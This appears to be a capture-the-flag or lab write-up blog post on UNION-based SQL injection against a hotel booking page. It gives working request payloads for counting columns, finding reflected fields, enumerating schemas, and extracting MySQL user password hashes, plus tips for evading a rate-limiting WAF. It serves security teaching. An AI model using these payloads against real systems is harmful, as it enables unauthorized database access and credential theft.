SverzBlog

UNION-Based SQL Injection — From Blind to Reflected Extraction

9 min read

UNION-Based SQL Injection // From Blind to Reflected Data Extraction

Context

When a web application reflects database content in the HTTP response, SQL injection can often be upgraded from blind (time-based or boolean) to UNION-based, which returns data directly in the page. This eliminates the need for slow, character-by-character extraction and gives the attacker full visibility into the database.

Real-world example: Jarvis_EN — room.php?cod= parameter used to select hotel room details, reflected in the page HTML.

The Problem // Blind SQLi Is Slow

Why blind works but hurts

In a blind injection, the database evaluates a condition but never shows the result. The attacker infers data one bit at a time by observing side effects:

  • Boolean-based: the page changes (content appears/disappears) depending on TRUE/FALSE
  • Time-based: the server delays its response based on IF(..., SLEEP(5), 0)
# Time-based confirmation:
GET /room.php?cod=1+AND+IF(1=1,SLEEP(5),0)
# Response delayed by 5 seconds → injectable

This confirms the injection exists but extracting a 32-character hash one character at a time requires hundreds of requests. If a WAF is monitoring request frequency, this approach gets you banned.

The key question becomes: is the application reflecting query results into the page? If the value of cod selects a database row and its fields are rendered in the HTML (room name, description, price), then the output channel already exists — it just needs to be hijacked.

The Upgrade // UNION SELECT

Why UNION works here

UNION appends a second SELECT to the original query. The database executes both and returns the combined result set. If the application renders that result into HTML, your injected data appears in the page as if it were a legitimate database record.

The original query is something like:

SELECT name, description, price, image, ... FROM rooms WHERE cod = 1

By injecting UNION SELECT, you turn it into:

SELECT name, description, price, image, ... FROM rooms WHERE cod = 1
UNION
SELECT NULL, 'injected_data', NULL, NULL, ...

The database returns two rows: the real room and your injected row. The application renders both — or, more commonly, only the first row.

The critical mistake // using a valid ID

This is where most people get stuck. Consider:

GET /room.php?cod=1+UNION+SELECT+NULL,'injected',NULL,NULL,NULL,NULL,NULL

The original query WHERE cod=1 returns a valid room. The UNION adds a second row with your data. But the application renders only the first row — the legitimate room. Your injected row is the second result and gets silently discarded. The page looks completely normal and you see none of your data.

You might have the perfect injection, the correct column count, the right data types — and still see nothing. The injection isn’t failing; the application is simply showing the original data instead of yours.

The fix // force an empty original result

GET /room.php?cod=9999+UNION+SELECT+NULL,'injected',NULL,NULL,NULL,NULL,NULL

cod=9999 does not exist in the database. The original SELECT ... WHERE cod=9999 returns zero rows. Now the UNION row is the only row in the result set. The application has no choice but to render it. Your injected data appears in the page.

This is the fundamental principle: the original query must fail for your injected query to be displayed. Any non-existent ID works — 9999, 99999, -1. What matters is that the real query produces an empty result set.

Debugging checklist when UNION shows nothing

Before assuming the injection doesn’t work:

  1. Is the cod value valid? If yes, the original row is hiding yours — use a non-existent ID
  2. Is the column count correct? A mismatch causes a silent failure
  3. Are you using NULL or numbers? Strings like 'a' in integer columns may cause type errors

Rule of thumb: if ORDER BY confirms the injection works but UNION shows nothing, the problem is almost always a valid original ID stealing the display.

Column Count // How Many Columns Does the Query Return?

ORDER BY method

ORDER BY n tells the database to sort results by the nth column. If the column exists, the query succeeds. If it doesn’t, the query errors.

GET /room.php?cod=1+ORDER+BY+1   → 200 OK (column 1 exists)
GET /room.php?cod=1+ORDER+BY+2   → 200 OK (column 2 exists)
...
GET /room.php?cod=1+ORDER+BY+7   → 200 OK (column 7 exists)
GET /room.php?cod=1+ORDER+BY+8   → 500 / different response (column 8 does not exist)

Seven succeeds, eight fails → the query selects 7 columns. Your UNION must also have exactly 7 columns.

Note: for column counting you can use a valid ID like cod=1 — you’re not trying to display injected data yet, just probing the query structure. The page will render the normal room either way.

UNION NULL method // alternative confirmation

GET /room.php?cod=9999+UNION+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL

If the page loads without error (even if content is blank because NULLs render as nothing), the column count is correct. If you get an error, add or remove a NULL and retry.

Reflected Columns // Which Positions Appear in the Page?

Why NULLs show nothing

NULL is a valid value for any column type, which makes it ideal for column counting. But NULL renders as empty — no visible text appears in the HTML. You’ve confirmed the column count but you don’t know where your data will be displayed.

Numeric markers // the reveal

Replace each NULL with a sequential number:

GET /room.php?cod=9999+UNION+SELECT+1,2,3,4,5,6,7

Now inspect the rendered page. Look at every text field — the room name, description, star rating, price. If you see the number 2 where the room name should be and 5 where the description should be, those are your reflected columns. Column position 2 and 5 are your output channels.

Not all columns are reflected. Some may map to internal fields (IDs, image paths) that are used by the application logic but never displayed to the user. Only reflected columns can be used to extract data.

Data type mismatch // the silent killer

If the original column is defined as INT and you inject a string like 'a', MySQL may not error but will return an empty result. The page appears blank and you think the injection failed.

Always start with numbers (1, 2, 3…) which are universally compatible. Once you’ve confirmed which positions reflect, you can try strings in those specific positions. If a column accepts 2 but not 'a', it’s an integer-only column — use a different reflected column for string data, or cast your data to a number if possible.

Multi-Row Extraction // GROUP_CONCAT

The one-row problem

The application renders one row. If your query returns multiple rows (e.g., SELECT User FROM mysql.user with 3 users), only the first user is displayed. The rest are silently dropped.

GROUP_CONCAT // collapse all rows into one string

GROUP_CONCAT() is a MySQL aggregate function. It takes a column value from every row in the result set and concatenates them into a single string, separated by commas (default) or a custom separator.

-- Without GROUP_CONCAT (3 rows):
SELECT User FROM mysql.user;
-- DBadmin
-- root
-- debian-sys-maint
 
-- With GROUP_CONCAT (1 row):
SELECT GROUP_CONCAT(User) FROM mysql.user;
-- DBadmin,root,debian-sys-maint

This collapses the entire result into one row that fits the application’s single-row rendering.

Extracting multiple columns per row

Use CONCAT() inside GROUP_CONCAT() to pair related fields (username + password) and a separator to distinguish rows:

GROUP_CONCAT(User, ":", Password SEPARATOR ", ")
-- DBadmin:*2D2B7A..., root:*THISIS..., debian-sys-maint:*ANOTHE...

CONCAT vs GROUP_CONCAT // the distinction

  • CONCAT(a, b) joins values from the same row horizontally: column A + column B
  • GROUP_CONCAT(a) joins values from different rows vertically: all row values into one string

You often need both together: GROUP_CONCAT(CONCAT(User, ":", Password)) — CONCAT pairs the username and password within each row, GROUP_CONCAT merges all rows into one string.

Full extraction query

GET /room.php?cod=9999+UNION+SELECT+NULL,GROUP_CONCAT(User,":",Password),NULL,NULL,NULL,NULL,NULL+FROM+mysql.user

Output rendered in the page:

DBadmin:*2D2B7A5E4E637B8FBA1D17F40318F277D29964D0

Cross-Database Extraction // information_schema

The enumeration chain

Before extracting data from a specific table, you need to know: which databases exist, which tables they contain, and which columns those tables have. MySQL’s information_schema database holds this metadata.

Schema enumeration // what databases exist?

GROUP_CONCAT(schema_name) FROM information_schema.schemata

Returns: information_schema, mysql, hotel, performance_schema

Table enumeration // what tables does a database have?

GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='mysql'

Returns the list of tables in the mysql database.

Column enumeration // what columns does a table have?

GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='user'

Returns the column names of the user table — including User and Password.

Qualified table names // database.table syntax

When the target table is not in the application’s current database, you must qualify it with the database name:

SELECT User, Password FROM mysql.user

The syntax is always database.table — container first, content second. mysql is the database, user is the table. Writing user.mysql reverses the hierarchy and will fail.

This is required because the application’s default database is the hotel database. Without the mysql. prefix, the query looks for a user table in the hotel database, which doesn’t exist.

WAF Considerations // Behavioral Detection

Rate-based WAFs

Some WAFs don’t analyze payloads — they monitor request patterns. In Jarvis, sqli_defender.py counts requests to room.php?cod= and bans IPs after exceeding a threshold (~5 requests).

Implications for UNION extraction:

  • Manual injection is safer than automated tools — fewer requests, less likely to trigger rate-based bans
  • sqlmap in default mode sends hundreds of probes and will trigger the ban; custom tamper scripts or --delay may help
  • If banned, the WAF redirects to port 64999 (the “you have been banned” page) for a cooldown period (90 seconds)

Recovery

If you get banned, wait for the cooldown and reduce request frequency. Craft your queries carefully before sending — each request should extract maximum information. Use GROUP_CONCAT aggressively to minimize the number of requests needed.

Extraction Workflow Summary

Confirm injection (time-based or boolean)
  ↓
Determine column count (ORDER BY or UNION NULL)
  ↓
Force empty original result (non-existent ID like cod=9999)
  ↓
Identify reflected columns (numeric markers 1,2,3...)
  ↓
Enumerate schemas → tables → columns (information_schema)
  ↓
Extract data with GROUP_CONCAT through reflected column
  ↓
Crack extracted hashes offline

Graph View

Backlinks